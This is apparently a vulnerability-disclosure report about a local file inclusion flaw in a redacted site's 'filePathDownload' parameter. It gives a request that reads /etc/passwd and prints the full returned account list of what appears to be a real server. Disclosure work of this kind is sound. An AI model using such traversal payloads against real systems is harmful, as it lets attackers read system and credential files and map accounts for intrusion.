lfi in filePathDownload parameter via ███████

hi i found critcal lfi vulnerability poc: https://█████████/████████=/etc/passwd response: ``` root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin chrony:x:998:995::/var/lib/chrony:/sbin/nologin ec2-user:x:1000:1000:Cloud User:/home/ec2-user:/bin/bash saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin sssd:x:995:993:User for sssd:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sustainment:x:1001:1001::/home/sustainment:/bin/bash emerg:x:1002:1002:Sustainment Linux Emergency Acct:/home/emerg:/bin/bash cwagent:x:993:992::/home/cwagent:/bin/bash ssm-user:x:1003:1004::/home/ssm-user:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin drupal:x:1004:1005::/home/drupal:/bin/bash splunk:x:1005:1006:Splunk Server:/opt/splunkforwarder:/bin/bash mfe:x:992:1007::/home/mfe:/sbin/nologin ``` ## Impact attacker can read any file in system ## System Host(s) █████████ ## Affected Product(s) and Version(s) ## CVE Numbers ## Steps to Reproduce all poc in Description ## Suggested Mitigation/Remediation Actions